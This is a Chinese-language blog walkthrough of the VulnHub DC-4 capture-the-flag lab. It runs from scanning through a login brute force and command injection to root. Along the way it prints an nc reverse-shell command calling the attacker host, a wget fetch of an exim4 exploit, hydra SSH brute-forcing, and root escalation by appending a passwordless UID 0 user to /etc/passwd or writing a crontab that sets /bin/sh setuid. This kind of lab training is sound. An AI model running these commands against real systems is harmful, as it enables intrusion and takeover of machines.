DC-4

靶机介绍

  靶场下载地址:https://download.vulnhub.com/dc/DC-4.zip

环境搭建

  下载之后,解压,使用vmware导入或者virtualbox导入都可以,但注意要保证与你的攻击机在同一网段下,vmware要使用最新版

  kali攻击机:192.168.98.136

靶机渗透

信息收集

扫描主机

image

  可知靶机的ip为:192.168.98.142

扫描端口

 masscan --rate=100000 -p 0-65535 192.168.98.142

image

  22和80端口开放

nmap -A 192.168.98.142

image

  ‍

指纹识别

whatweb http://192.168.98.142

image

image

  就只知道是一个nginx服务器,其他的就什么都没了,服了。。

  没识别出来,访问网站,是一个登录页面:

image

  ‍

目录扫描

dirb http://192.168.98.142 /usr/share/dirb/wordlists/big.txt

image

  扫描目录也没什么可用的。。。。。

  这次信息收集有点少啊。。。。

  ‍

  使用dirsearch来扫描一下:

dirsearch -u http://192.168.98.142 -i 200,300-399

image

  也是一样没什么收货

漏洞挖掘

登录框爆破

  nginx/1.15.10 这个版也没看见有漏洞利用的点,有什么东西都使用不了。

  没事想法,目前先对这个登录框进行爆破 , 结果还是给它爆破从出来了(之前爆破一半没出来,后面放弃了,结果看答案密码就在我另一个字典里!)

image

账号:admin
密码:happy

远程命令执行反弹shell

  登录看看:

image

  点击run,上面显示了执行命令:ls -l

image

  ,一眼顶针,执行命令了!直接又点击其他的选项:

image

image

  这下懂了吧,直接抓包看看数据包:

image

  这个参数应该是可控的,修改参数的内容就是执行什么样的命令,尝试修改发包:将参数内容改为了whoami

image

  根据返回包内容显示,这里存在远程命令执行漏洞,

  本来想尝试写入php文件的,结果没成功,可能是没有权限,艹。。。

  ‍

  探测是否存在nc:(它这个不会报错回显,所以需要把内容输出到页面中)

echo `which nc`

image

  存在nc命令,那么就用nc来反弹shell

  靶机命令执行:

nc -e /bin/bash 192.168.98.136 5577

  服务器监听

nc -lvvp 5577

  成功收到会话:

image

//用python打开一个标准的shell
python -c "import pty;pty.spawn('/bin/bash')"

  尝试创建一个文件,确实没有权限,行吧,难怪之前没有写入成功。。。

image

  ‍

  ‍

方法一:邪道速通

  上传traitor工具来查询一下,也没发现很明显的漏洞

image

  ‍

exim4提权

  1.find 命令查找具有sudo权限的命令,发现exim4在使用时具有root权限

find / -perm -u=s -type f 2>/dev/null

  存在exim4

image

  2.查看一下exim4版本:

exim4 --version

image

  这个版本存在漏洞

  3.查询exim4版本的漏洞,选择相近的版本漏洞利用

image

  4.将脚本复制到/tmp目录下

image

  进入tmp目录,开启python服务器

image

  因为其他目录有一定操作权限限制,所以我们操作靶机的tmp目录(因为我测试过这个靶机,tmp目录有操作权限):

  受控机进入到tmp目录下载脚本:

wget http://192.168.98.136:8080/46996.sh

  5.执行脚本,成功提权:

# 2种方式,那种能用就用,一般用第二种成功率高
./46996.sh -m setuid 
./46996.sh -m netcat

image

寻找flag

  通过这个方法拿得到root权限很不稳定,必须要尽快操作,立即进入root目录下,找到flag文件打开:

  发现flag.txt 文件就在root目录下:image

  打开flag.txt文件:

image

  ‍

方法二:传统解题

  查看passwd 文件

  cat etc/passwd

image

image

  在home目录下发现了3个账户, 去里面找找宝贝

hydra爆破ssh

  在目录/home/jim/backups 下找到了文件old-passwords.bak​,是一个密码字典:

image

  也许这个字典可以用来爆破ssh,说干就干,将这个密码字段导出保存为dc4.txt文件,使用hydra来爆破ssh

hydra -l jim -P dc4.txt ssh://192.168.98.142

image

  爆破成功:

账号:jim
密码:jibril04

登录jim账户

image

  看一下有无能够root执行的命令:

image

  没有就接着往下走。

  jim目录下还有个mbox文件,之前没权限无法读取,现在切换到jim账号之后可以访问这个文件了

image

  是一封邮件:

image

  是不是提示我们去mail目录下寻找什么呢?
找到目录 /var/mail

image

  www-data文件,没有权限无法读取,但是可以访问jim文件:

image

image

  翻译一下邮件内容:

image

  账号密码为:

账号:charles
密码:^xHhA&hvim0y

切换charles账户

  成功登录charles账户:

image

  查看能够root执行的命令

sudo -l

image

  发有能够以root​执行的teehee​命令,而​teehee​​的作用是可以向文件中追加内容

  知识补充:

  • teehee命令:teehee命令可以往一个文件中追加内容,可以通过这个命令向/etc/passwd中追加一个超级用户。
  • teehee参数-a:追加到指定文件,不覆盖原文件。

teehee命令提权

  将账号写入/etc/passwd中

  密码设置为空

echo "agony::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

  对于admin::0:0:::/bin/bash的解释

[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]

  补充:uid=gid=0为超级用户,默认shell一般为/bin/bash。

  执行命令成功:

image

image

  切换admin用户成功,权限为root:

image

  PS:如果你切换admin用户,发现切换不了,需要输入密码,请退回至kali终端重新ssh登录charles账户,再通过su admin 直接切换账户,不需要密码!也许你也可以尝试写入一个有密码的账户,我就不测试了。

teehee写入定时文件提权

  向/etc/crontab文件中写入新的定时任务

  时间部分全部填写为*,意思是每分钟执行一次,通过写入将/bin/sh的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。

sudo teehee /etc/crontab
* * * * * root chmod 4777 /bin/sh

image

  写入成功:拿到root权限

/bin/sh

image

拿下flag

  寻找flag:

find / -name flag*

image

  成功拿下flag:

image

  ‍

总结

  1、后台密码爆破,使用burp爆破,工具爆破等等都可以

  2、远程命令执行漏洞

  3、反弹shell的命令

  4、exim4版本漏洞利用

  5、要注意home目录下有哪些账户喝敏感文件,以及passwd文件

  6、熟悉利用hydra爆破ssh

  6、利用teehee命令进行提权(这里使用crontab提权和添加新用户提权)

  7、注意拿到账号密码之后,建议重新使用ssh登录,而不是在另一个用户上通过 su 命令来切换登录!(防止出错。。。)

  ‍

posted @ 2024-08-18 18:08  itchen-2002  阅读(8)  评论(0编辑  收藏  举报